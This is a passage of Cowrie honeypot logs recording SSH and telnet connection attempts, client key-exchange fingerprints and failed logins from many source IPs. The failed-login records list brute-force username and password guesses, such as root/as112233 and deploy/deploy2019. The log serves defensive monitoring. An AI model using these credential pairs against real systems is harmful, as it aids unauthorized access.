cm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:27.484390Z","src_ip":"43.157.98.118","session":"3f1eadcfa281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as112233","message":"login attempt [root/as112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:28.115701Z","src_ip":"43.157.98.118","session":"3f1eadcfa281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":48872,"dst_ip":"10.17.0.5","dst_port":23,"session":"20774c3378ea","protocol":"telnet","message":"New connection: 107.182.235.153:48872 (10.17.0.5:23) [session: 20774c3378ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:28.162655Z"}
{"eventid":"cowrie.session.closed","duration":30.36641025543213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:28.403628Z","src_ip":"162.248.7.67","session":"b7e791e77db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:29.206654Z","src_ip":"43.157.98.118","session":"3f1eadcfa281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.312096118927002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:29.889379Z","src_ip":"162.248.7.67","session":"7bffe4b43cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.09647870063782,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:30.940018Z","src_ip":"137.184.155.248","session":"c201a602b399","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.557495594024658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:32.117063Z","src_ip":"162.248.7.67","session":"e34eaa743e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":35342,"dst_ip":"10.17.0.5","dst_port":23,"session":"365549ba6505","protocol":"telnet","message":"New connection: 103.249.100.206:35342 (10.17.0.5:23) [session: 365549ba6505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:32.496830Z"}
{"eventid":"cowrie.session.closed","duration":31.454519271850586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:32.798858Z","src_ip":"103.249.100.206","session":"798e9d3e64f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":54626,"dst_ip":"10.17.0.5","dst_port":23,"session":"168f4749a55d","protocol":"telnet","message":"New connection: 107.182.235.153:54626 (10.17.0.5:23) [session: 168f4749a55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:34.295553Z"}
{"eventid":"cowrie.session.closed","duration":120.00162816047668,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:34.530585Z","src_ip":"182.253.54.171","session":"ecab95708a6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":9387,"dst_ip":"10.17.0.5","dst_port":23,"session":"54ba6096278f","protocol":"telnet","message":"New connection: 182.253.54.171:9387 (10.17.0.5:23) [session: 54ba6096278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:35.096720Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60405,"dst_ip":"159.203.135.109","dst_port":22,"session":"d48e38e3e623","protocol":"ssh","message":"New connection: 178.27.90.142:60405 (159.203.135.109:22) [session: d48e38e3e623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:35.123198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:35.131906Z","src_ip":"178.27.90.142","session":"d48e38e3e623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:35.227209Z","src_ip":"178.27.90.142","session":"d48e38e3e623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa@","message":"login attempt [root/123456aa@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:35.619382Z","src_ip":"178.27.90.142","session":"d48e38e3e623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.137279748916626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:35.927620Z","src_ip":"162.248.7.67","session":"1990176cab03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":58836,"dst_ip":"10.17.0.5","dst_port":22,"session":"655de875042f","protocol":"ssh","message":"New connection: 203.90.110.186:58836 (10.17.0.5:22) [session: 655de875042f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:36.355279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:36.360054Z","src_ip":"203.90.110.186","session":"655de875042f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.345571279525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:36.431738Z","src_ip":"162.248.7.67","session":"640e92151638","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:36.581116Z","src_ip":"203.90.110.186","session":"655de875042f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:36.720420Z","src_ip":"178.27.90.142","session":"d48e38e3e623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.442245960235596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:37.251967Z","src_ip":"162.248.7.67","session":"00abcf57f2b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"935a8525402e","protocol":"telnet","message":"New connection: 103.249.100.206:37244 (10.17.0.5:23) [session: 935a8525402e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:37.484561Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy2019","message":"login attempt [deploy/deploy2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:37.491022Z","src_ip":"203.90.110.186","session":"655de875042f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:38.714809Z","src_ip":"203.90.110.186","session":"655de875042f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.623581886291504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:41.209670Z","src_ip":"103.249.100.206","session":"154ad775888d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":52870,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cc219cd8d2","protocol":"telnet","message":"New connection: 107.182.235.153:52870 (10.17.0.5:23) [session: a3cc219cd8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:42.334378Z"}
{"eventid":"cowrie.session.closed","duration":0.00558924674987793,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:42.339816Z","src_ip":"107.182.235.153","session":"a3cc219cd8d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.754939794540405,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:42.371764Z","src_ip":"137.184.155.248","session":"d15356dfc0e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29982137680054,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:43.889907Z","src_ip":"103.249.100.206","session":"8dbc46484b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50872,"dst_ip":"10.17.0.5","dst_port":23,"session":"e059a178029f","protocol":"telnet","message":"New connection: 103.249.100.206:50872 (10.17.0.5:23) [session: e059a178029f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:45.004972Z"}
{"eventid":"cowrie.session.closed","duration":32.04849028587341,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:45.338741Z","src_ip":"107.182.235.153","session":"d089c690dd1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28708445b38","protocol":"telnet","message":"New connection: 103.249.100.206:53152 (10.17.0.5:23) [session: a28708445b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:46.909092Z"}
{"eventid":"cowrie.session.closed","duration":50.33754777908325,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:48.604629Z","src_ip":"137.184.155.248","session":"235b881f04bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662898778915405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:51.049962Z","src_ip":"107.182.235.153","session":"a160df275d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":56500,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd13bc4986e7","protocol":"telnet","message":"New connection: 107.182.235.153:56500 (10.17.0.5:23) [session: bd13bc4986e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:52.032717Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52316,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8cb3eea75b","protocol":"telnet","message":"New connection: 103.249.100.206:52316 (10.17.0.5:23) [session: df8cb3eea75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:53.496623Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33074,"dst_ip":"10.17.0.5","dst_port":23,"session":"540c01f6f1e6","protocol":"telnet","message":"New connection: 103.249.100.206:33074 (10.17.0.5:23) [session: 540c01f6f1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:54.978330Z"}
{"eventid":"cowrie.session.closed","duration":31.59743046760559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:55.711870Z","src_ip":"107.182.235.153","session":"1db95a0e2f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0211923122406,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:56.002398Z","src_ip":"103.249.100.206","session":"b0dd447e2844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":35464,"dst_ip":"10.17.0.5","dst_port":23,"session":"d458592c57c4","protocol":"telnet","message":"New connection: 103.249.100.206:35464 (10.17.0.5:23) [session: d458592c57c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:59.166528Z"}
{"eventid":"cowrie.session.closed","duration":31.588838577270508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:12:59.751400Z","src_ip":"107.182.235.153","session":"20774c3378ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":41074,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceadf761ed31","protocol":"telnet","message":"New connection: 103.249.100.206:41074 (10.17.0.5:23) [session: ceadf761ed31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:01.871299Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38856,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3b4fd1d789","protocol":"telnet","message":"New connection: 103.249.100.206:38856 (10.17.0.5:23) [session: 6b3b4fd1d789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:02.486000Z"}
{"eventid":"cowrie.session.closed","duration":31.445038080215454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:03.941773Z","src_ip":"103.249.100.206","session":"365549ba6505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43676,"dst_ip":"10.17.0.5","dst_port":23,"session":"8155a6acc830","protocol":"telnet","message":"New connection: 103.249.100.206:43676 (10.17.0.5:23) [session: 8155a6acc830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:04.104891Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42906,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7272736505","protocol":"telnet","message":"New connection: 103.249.100.206:42906 (10.17.0.5:23) [session: 5c7272736505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:04.349351Z"}
{"eventid":"cowrie.session.closed","duration":31.426615715026855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:05.722065Z","src_ip":"107.182.235.153","session":"168f4749a55d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46080,"dst_ip":"10.17.0.5","dst_port":23,"session":"c195d2db68ec","protocol":"telnet","message":"New connection: 103.249.100.206:46080 (10.17.0.5:23) [session: c195d2db68ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:06.081228Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46184,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63fab9b5c6f","protocol":"telnet","message":"New connection: 103.249.100.206:46184 (10.17.0.5:23) [session: f63fab9b5c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:07.240413Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46760,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7633ff3bd8","protocol":"telnet","message":"New connection: 103.249.100.206:46760 (10.17.0.5:23) [session: 6f7633ff3bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:07.645117Z"}
{"eventid":"cowrie.session.closed","duration":30.662678956985474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:08.147076Z","src_ip":"103.249.100.206","session":"935a8525402e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.182.235.153","src_port":59348,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d55b5d7d4c","protocol":"telnet","message":"New connection: 107.182.235.153:59348 (10.17.0.5:23) [session: 27d55b5d7d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:08.450267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"32eda20dda9f","protocol":"telnet","message":"New connection: 103.249.100.206:49288 (10.17.0.5:23) [session: 32eda20dda9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:08.701408Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"0102c0237c27","protocol":"telnet","message":"New connection: 216.238.80.67:52960 (10.17.0.5:23) [session: 0102c0237c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:12.972032Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":53110,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e41c3e3f6ba","protocol":"ssh","message":"New connection: 102.211.152.138:53110 (159.203.135.109:22) [session: 4e41c3e3f6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:13.390156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:13.394401Z","src_ip":"102.211.152.138","session":"4e41c3e3f6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:13.496959Z","src_ip":"102.211.152.138","session":"4e41c3e3f6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nxuser","password":"nxuser","message":"login attempt [nxuser/nxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:13.943801Z","src_ip":"102.211.152.138","session":"4e41c3e3f6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:15.051136Z","src_ip":"102.211.152.138","session":"4e41c3e3f6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28422784805298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:16.289093Z","src_ip":"103.249.100.206","session":"e059a178029f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":48418,"dst_ip":"159.203.135.109","dst_port":22,"session":"65e462c0869f","protocol":"ssh","message":"New connection: 43.157.98.118:48418 (159.203.135.109:22) [session: 65e462c0869f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:16.502794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:13:16.507779Z","src_ip":"43.157.98.118","session":"65e462c0869f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-